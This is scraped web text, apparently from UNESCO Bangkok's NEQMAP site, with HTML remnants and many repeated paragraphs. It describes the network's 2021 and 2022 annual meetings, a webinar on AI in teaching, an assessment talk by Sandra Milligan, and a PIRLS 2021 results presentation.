monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education.

In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education.

In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student.

In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

